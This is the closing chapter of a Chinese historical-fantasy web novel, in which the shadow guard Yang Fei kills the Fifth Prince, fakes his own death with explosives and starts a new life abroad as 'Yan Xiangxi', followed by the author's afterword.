匕首刺进那个人影胸膛的一瞬间,杨妃就知道这绝对不是五皇子。 他杀的人不知道有多少,匕首刺进活人胸膛中是什么手感他再熟悉不过,且不说人的手感如何,就单单说匕首刺进去时几乎没什么血以及他手碰到的凉意就足以说明坐在那里的仅仅是一具尸体。 五皇子将被杀死的村民摆放在那里替自己挡灾! 而他自己就站在烛火照耀不到的角落,等着不速之客上门。 显然,杨妃现在就是这个被逮了个正着的不速之客。 影卫们干起活来没有和别人废话的习惯,五皇子也不是个喜欢和敌人闲聊的,当他们的身形出现在同一个空间中时,这个空间里只会有兵器碰撞和搏斗的声音。 这个房屋不小,就算有两具被摆放好的尸体占地方,容纳他们三个人也绰绰有余。 但若是要支撑起他们辗转腾挪搏斗的身形,就显得异常逼仄了。 杨妃清楚他这一趟是为了要人命而来的,五皇子也是,每一个人都明白只有将对手弄死才有资格谈明天。 杀气弥漫狭小的空间里,空气凝重得能令人窒息,生死关头本就没什么人性的,五皇子更不讲武德,只三打一都得算他一时间腾不出更多的人手。 若不是他接连受挫,若不是那该死的四皇子频造波澜,他也不至于损失了那么多得力的手下,时至今日,竟然逼得他也需要亲自上场搏斗了! 五皇子诸事不顺,动手更添凶猛。 杨妃和五皇子以及他的两个影卫战的正酣,虽说应对得沉稳得当,但同时和三个与自己实力不相上下x的人对战,力竭落败也是迟早的问题。 不是,他是打算假死的,可没打算真死在那儿啊! 杨妃眼神狠厉,侧头弯腰躲过了一个影卫横扫过来的短刀,左手自腰侧拂过,甩出两枚暗镖,右手也没闲着同时挡在头顶,硬生生架住了五皇子劈过来的长剑。 手腕又是一阵发酸发麻。 他表情上瞧不出什么来,心里却暗暗称奇,这五皇子不愧是十分擅长武艺,又在边疆征战多年,就算狭小空间内对战的技巧比不上他们这些影卫,可一力降十会,就单凭他力大如牛也能弥补这点缺点了。 倒是苦了他了! 他早有五皇子也是能交手的对手的准备,却不曾想他也能得过头了! 现在别说他假死的计划了,要不是他这一趟带的被妖怪改造过的火雷够多,恐怕都要阴沟里翻船了! 杨妃的心沉甸甸的,琢磨着怎么样能挽救一下他岌岌可危的计划,手上叮叮当当地接连挡着影卫们的暗器和五皇子的重击。 嘶—— 他无声地咧了咧嘴,旋转后退的飞快也不耽搁五皇子利刃带起来的余风划破他腰侧的衣物。 这回得感谢一下新帝临行前非要给他穿上的金缕衣,贵的东西就是有贵的道理,这会要是没有这东西指不定得划个多深的口子呢。 若是此时在围攻下受了伤,局面就会像滚雪球一样直到把他压倒。 不是,他记得他不是一个人来的啊? 他记得他明明安排了人和他一起进来的,对吧? 怎么全都被外面的人拖住了? 正面对决,还以一打三,再加上五皇子这么个大力士,外头的再不进来他今儿就真交代在这儿了! 杨妃用力眨了眨眼,提气,踩在五皇子的剑上借力跃起,半空中转身抬脚狠狠才在其中一个影卫的后背,又横扫匕首逼退刺向他的另一个影卫,随后屈膝运足了内力,一个千斤坠重重地踩下去,将那个不幸被他打到后背的影卫死死踩在脚下。 趁他病要他命。 他略动了下脚,强大的内力加力量让脚下的**传来了清脆的骨骼碎裂声,听到这声音,杨妃才要将这个被淘汰的对手踢到一边去,就得先行后仰翻身躲着五皇子冲他脖子抡过来的剑锋。 这家伙也未免太有战斗经验了! 实话说杨妃觉得五皇子给他带来的压力比那两个影卫加一起都多。 也有可能是因为影卫们不常和主子一同作战默契不足,交战时固然全力以赴,却也带着一丝害怕误伤主子的畏首畏尾,因此总能被杨妃把握到时机反击。 反倒五皇子本人既是个高手,又浑无顾忌,盛怒憋愤之下出手又快又狠,没有一点儿误伤的害怕,只有招呼杨妃的决心。 此刻也是如此,五皇子一剑不成,也不管被杨妃踩断腰椎的影卫还能不能再被抢救一下,当下毫不犹豫地踢在他身上将他勾起来,踹大锤一般地连人一并踹给杨妃。 杨妃惊了一下,这空间大小哪里能支撑五皇子用这么大体积的武器,他一把年纪了老腰压的很快,人几乎贴在地板上,那还喘气儿的影卫就打他头上过去了,擦身而过时唯一能动的手还冲他甩了两枚暗器。 意志可嘉。 杨妃在心里感慨了一句,有些对对手的敬意,行动上更是尊重敌人,单手撑地翻身而起,半空中一个转身就是一脚,大发善心地结束了他重伤的痛苦,直接将他踢到墙上,伴随着一声巨响连人带墙一并飞了出去。 墙破了个大洞,杨妃百忙之间余光扫了一眼屋外战成一团的人,确认自己能得到支援后开始专心致志的对决。 少了一个人杨妃的压力减轻了不少,他再一次感谢五皇子自持身份和影卫没有默契不然他也没办法紧紧抓着这一点,略施诡计多次利用。 效果十分显著,损失了一个帮手,让五皇子更加情绪化,敏锐察觉到自己主子情绪变化的影卫也受其感染,想将杨妃拿下的心越发迫切。 心乱了,手就会慌。 五皇子的影卫有好几次都险些将短刀划在自家主子身上,几次之后杨妃能看见他大汗淋漓,甚至五皇子紧皱着眉头恶狠狠地瞪了他好几眼,也能感受到他的动作越来越失了准头。 生死相搏之时一瞬间的失误都能丧命,更别提这种持续的慌乱了。 杨妃紧紧地盯着他,势必要先将这个拦路虎解决。 恰在此时院子里的影卫也结束了纠缠,带着还滴血的刀冲了进来。《 》 【全文完结】 第91章 他的加入实打实地为杨妃缓解了压力,不过前提是他们俩各自挑了一个对手,在屋子里越打越远。 就像杨妃评价五皇子,和他的影卫之间默契不足一样,没带自己的心腹来的,杨妃也面对着同样的问题。 他和这个影卫也没有足够的作战默契,不过好就好在套路一样,他们俩的默契足够不用说就拉开战场了。 只面对五皇子一个对手,杨妃的心放回肚子里,一边打着一边甚至还能分出些心神来寻找机会执行自己的假死计划。 他的尸体完全可以用那个倒霉影卫来伪装,反正他是打算要用上火雷的,能剩下几分完好的肉块都不一定,加上精心制造的假面假皮,瞒天过海简直不要太轻松。 现在唯一的问题就是怎么能当着自己带来影卫的面和五皇子同归于尽了。 体力在飞速消耗,比杨妃先坚持不住的是他那把匕首。 皇子就是好啊,连用的武器都比他这种常年使用武器,也最需要武器的人用的好得多。 杨妃丢掉报废的匕首,在地上滚了好几圈,躲避五皇子的剑,一直滚到那个死掉了的影卫掉落的短刃旁,捞起短刃刺了过去。 五皇子不闪不避,仗着自己手中的剑刃比杨妃的长,正对着杨妃也刺了过去。 杨妃两个跨步加速,微微侧头扫了一眼身后两个几乎滚在一起的影卫,目光停留在他手下紧握着匕首刺进对方胸膛的手掌上,从来没有哪一次像现在这样看到涌出的鲜血会使他安心。 如此,正是好时机。 杨妃憋住了一口气,即将面临五皇子剑刃的时候稍微侧身,让那把利剑从他的右肩胛骨刺入。 金缕衣是件好东西,五皇子使了牛劲儿,又加上自己的内力才成功刺入了剑尖,杨妃也感受到预料之中的疼痛和冷意,右肩受伤,右手也渐失了力气,握着的短刃自然便有些握不住。 他没有后退,而是伸出左手接住掉落的短刃,不退反进的任由剑锋将他穿透,那只失了大半力气的右手,死死地抓住了五皇子的胳膊,左手握着刀,从五皇子腋下夹住的缝隙中斜着插入。 这短刃不长,从右腋下刺入,根本不可能刺到位于左侧的心脏,五皇子痛呼一声便想抽身,可奈何杨妃抓他抓的死紧,他脱身不得。 得胜的影卫见状便想冲上来帮忙,杨妃眼见着要实施自己进化的紧要关头,哪里能容得他近前一步? “别过来!”他怒吼一声,脸色半真半假地透着苍白,眼角既是疼的又是憋出来的红血丝,“快带人离开这里!” 杨妃一边死死地抓着五皇子,一步一步地将他逼到了离所有人都更远却离尸体很近的那一侧,侧头狠厉地对影卫说,“离开这院子!我要引爆火雷!” 被他怒吼着的影卫当场一愣,难以置信地看着杨妃从胸前摸出几颗火雷夹在指间,哪里还顾得上冲上来,苍茫之间头也不回的往外跑了。 瞧见他跑了,杨妃松了一口气,转头看着双目充血的五皇子,他是武力强盛,可受这样重的伤怕也是头一回,要不然也不至于因为疼痛暂时失去反击的力气。 “你……疯了!”五皇子的声音有些虚弱,握着剑的手无力下垂,他想不通事情怎么就发展成这个样子了,“何必同归于尽!” 他瞳孔颤抖地对上杨妃那一双沉静的眼睛,“他给你的我都能给!” 他还想再说些什么,忍痛的杨妃却没再给他机会,左手握着的短刃狠狠的转了一圈抽出,随后接连好几下,重重地插在五皇子的脖颈上。 鲜血喷涌而出,滑腻的血液沾湿了杨妃的手,他险些都没握住短刃。 他后退一步松开了五皇子,任由这具尸体下滑。 杨妃轻喘了口气,耳朵听着外面渐行渐远的脚步声,以及村庄各处逐渐响起的火雷声。 看来他们能走的已x经都走了,走之前还按照他们之前说好的用火雷炸了整个村庄。 很好。 杨妃有点压不住自己的唇角,他一边想笑一边又疼,嘴角像抽风了似的颤动,刷刷地点了自己肩膀处的穴位,把剑拔了出来。 村庄中已经没了战斗的声响,只有此起彼伏的火雷声,震得人耳朵发疼。 杨妃脱掉了自己被划得乱七八糟的外衫,把那一身昂贵的金缕衣粗暴地丢在地上,叠了叠外衫简单地包扎了一下伤口,开始做死亡的假象。 要不是为了让他的死亡更没有破绽,杨妃都有点舍不得这件十分昂贵的金缕衣了。 害。 金钱哪里比得上他的自由重要。 杨妃扒光了地上的影卫,把自己的金缕衣给他穿上,又拿着五皇子的剑在他肩膀上狠狠地戳了进去,随后把面具和假皮带好,将他的尸体搬到五皇子尸体身边,在两个人尸体的中间放了好几颗火雷,生怕爆炸不能将尸体炸个稀碎。 做完了这些他手上还剩着几个,反正以后多半也是用不上了,杨妃干脆把这些也丢在了屋子里的角落。 干脆利落地做好这一切,杨妃略一调息恢复内力,点爆火雷的瞬间,踩着轻功使出了这辈子都没有的速度。 饶是如此,他也有点低估了改造火雷爆炸的威力,还没等跑出去多远,身后的空气就带着炙热的温度飞速向他扑来。 !!! 杨妃一瞬间就失了平衡,整个人被这股气浪抛出去不知道多远,好在他及时用内力护体头脑还算清醒,快要落地时找稳了重心,虽说还是灰头土脸地滚了好长一段路,总算是全须全尾地滚进了河流中。 远在京城的新帝从杨妃走之后,就开始心神不宁,随着时间一点点流逝,甚至连上朝都会分神。 心不在焉地打发了底下这些成天唧唧喳喳十分吵人的大臣,勉强结束了晚上这一场,他并不想要,又不能推拒的加班,新帝回了自己的宫殿,没有看到想看的人,心中又是一阵失落。 人是没有见到的,桌子上的奏折却是越来越高的,他真不知道自己这个皇帝当得有什么意思,还不如做王爷时逍遥自在。 他烦躁地打开一个又一个奏折,努力从大臣们长篇大论又辞藻华丽的废话中摘取他需要的信息,那叫一个越看越烦。 这龙椅他坐一天脾气就不好一天,连平日里爱喝的茶都变成了清火的,甭说有多少香气了,就连不苦都得算太医们的功劳。 手上的茶杯做工精致,黄褐色的茶水倒映着他紧皱的眉头,他喝了一口,刚要放在桌上,手却是一抖,昂贵的茶杯瞬间脱手在地上砸了个粉碎。 他心中有些不安。 “朱柿——” 新帝有些气喘,“杨妃他们到哪里了?” “陛下,现在这个时辰,若是他们动作快的话,应该已经赶上庶人了。” 朱柿心里苦,今天怎么就是他当值呢? 打从杨妃带人走之后,新帝边要时不时地问这个问题,可消息一来一回的哪能有这么快? 一听到杨妃可能已经碰上了庶人,新帝的心便怦怦地乱跳,一种不妙的预感更加严重,“速速将他叫回来!” 他再也管不了什么任务了,他现在就要见到杨妃,立刻马上! 接到任务的朱柿苦着脸离开了宫殿,捏着鼻子快马加鞭的去追赶他一定赶不上的人。 开玩笑呢么,这不,他们都走了多久了? 又是急行,他拿什么去赶? 朱柿硬着头皮离开,又脸色发白地带着两个仅剩的影卫回来复命。 “主子……”朱柿脸色煞白,比死人都难看,“庶人已确认死亡。” 他颤声说,旁边受伤的影卫默默地端上了一个盒子,里面装的正是被炸得稀碎的五皇子的头颅。 “杨妃等……与庶人同归于尽了。” 他眼一闭,心一狠,将这话说出来,心中对杨妃的悲伤甚至来不及表达,前头的主子已经愤怒的把手上能碰到的所有东西扫落在地。 “胡说!” 不愿意接受真相的新帝将影卫们和京城折腾得天翻地覆,已经顺利脱身的杨妃却没有一点想探究的心。 他顺着河流不知道走出去多远,反正是离京城越远越好。 身上的伤口一抽一抽的疼,他心情却很轻松,连带着看什么都觉得可爱,就连这一只闻着血腥味朝他奔来虎视眈眈的猛虎,都能得到他饱含爱意的两拳。 他很是畅快地痛扁了这只不长眼的野兽,心情颇好的没有杀它。 他又不缺钱。 杨妃虽然现在没了收入来源,可他好歹也是曾经掌握王府全部账本的人,自从新帝登基,而他下定了决心之后,他就悄悄地挪出了一大笔足够他以后衣食无忧的钱财。 他尽心尽力地为主子卖命,这么多年别无所求,临走时拿的这点钱对他来说也是九牛一毛,这不过分吧? 杨妃拿着钱票取走了他匿名存着的那笔钱,买了些从前不曾用过的好药。 现在天高海阔,任他遨游,他可得对自己好一点,多活上几年,好好享受享受人间。 养好了伤,便也是时候找个地方定居了。 自从新帝登基之后,便越发的不太平,现在虽然五皇子已死,和五皇子的叛军却和外族勾连着打着为五皇子复仇的旗号起来兵戈。 而长宁节度使和北州节度使就算五皇子死了也不耽误他们有仇报仇,有怨报怨。 整个局势可以说是乱成了一锅粥。 杨妃打开客栈的窗,对着明媚的阳光伸了个懒腰。 他穿着一身浅蓝色的宽袍大袖,还是有点不习惯自己穿上这种明艳的颜色,也还没适应宽长的袖子。 但他照镜子看了,自觉还挺好看的,再搭配着他腰间的玉饰,出去不认识的人都得将他当成哪家的小公子。 杨妃嘴角的笑意就不曾压下来过,心情也很明亮。 这一次他也算是重生了。 杨妃默默地想着,哪怕右手现在不大能使上力也值了。 他攥紧了拳,看着自己的手,将新买的匕首藏进袖中,靴子里也藏了一个。 他打算带上些货物再买几个奴隶离开这个国家。 离开这个有着他过去和熟人的地方,远远地走到没有人认识他的地方去。 他有武艺,又有钱财,到哪里不能安身? 杨妃没觉得自己会为生计发愁,但他觉得临走之前再弄点钱财傍身也是极好的。 恰巧他不就正知道有一个金矿吗? 就趁新帝忙着镇压国内的叛乱没有太大功夫去管那座金矿,他在走之前搬走几箱子不过分吧? 带着钱、货物、仆从,杨妃穿过了山脉跨过沙漠,来到了万里之外的青国。 这也是一个强大的国家,有着差不多的风俗,和全部陌生的面孔。 钱财开路,杨妃没费太多力气就拿到了新的户籍,在一个偏僻但安定和善的小镇定了居。 有桃镇。 这名字简单直白,可风景却好,杨妃安置了大宅子时正是镇上的桃花开时。 他穿着一身和桃花一样的浅粉色大衫,站在自己宅院的门口,指挥着下人们将写着燕府两个字的牌匾摆正。 描金的牌匾光亮得在烈日下有些刺眼,吉时一到,鞭炮声噼里啪啦的响,早早地围在这里的乡亲们一个个上前拱手说着吉祥话。 “燕老爷大喜!乔迁新居!福寿安康!” 小孩们说的响亮,杨妃也笑呵呵地递上红包。 阳光照在他脸上,肤色透着健康的红润,杨妃笑得眉眼弯弯。 他在这里有了家了,异国他乡也是故乡了。 他还有了新名字,燕向曦,他给自己起的,不再是从前那种旁人赏赐下来的代号了。 他不喜欢。 但今天,但在这里,他永远都是那个家财万贯的富商燕老爷。 虽然听上去好像有些显年纪大,可他喜欢,怎么听都不觉得腻。 从此山高海阔,他和人一样自由了。 每一天都值得期待—— 作者有话说:让我在这里写一点感想—— 实话说这是我第一本写下正文完之后感慨万千的……[捂脸笑哭] 其实在最初的大纲里小杨是和五皇子同归于尽的,是真的死了的。 可我越写越舍不得,这是我最惨的一个主角了,明明像别的主角一样有强大的武力值,怎么就过得这么苦呢?[捂脸笑哭]我扒拉扒拉自己写完的,发现他竟然连一个休假都没有,整个一个核动力驴。 这叫我怎么忍心下手![狗头叼玫瑰] 他就应该自由自在的! 然后让我们恭喜本篇三十多万字里出现了第一个名字——燕向曦! 一个真真正正的有名有姓的名字,不像王爷皇帝那样高高在上的人仅有的身份称呼,x也不像杨妃朱柿那样不伦不类的代号名字。 而是一个充满了对自己期望的名字! 像飞燕一样自由,前路充满光亮。 一定要自由啊——[狗头叼玫瑰] 另:竟然没有人发现这本书里所有人都没有一个真正意义上的名字[捂脸笑哭] 接下来就是小燕的快乐生活日常番外了[亲亲][亲亲]《 》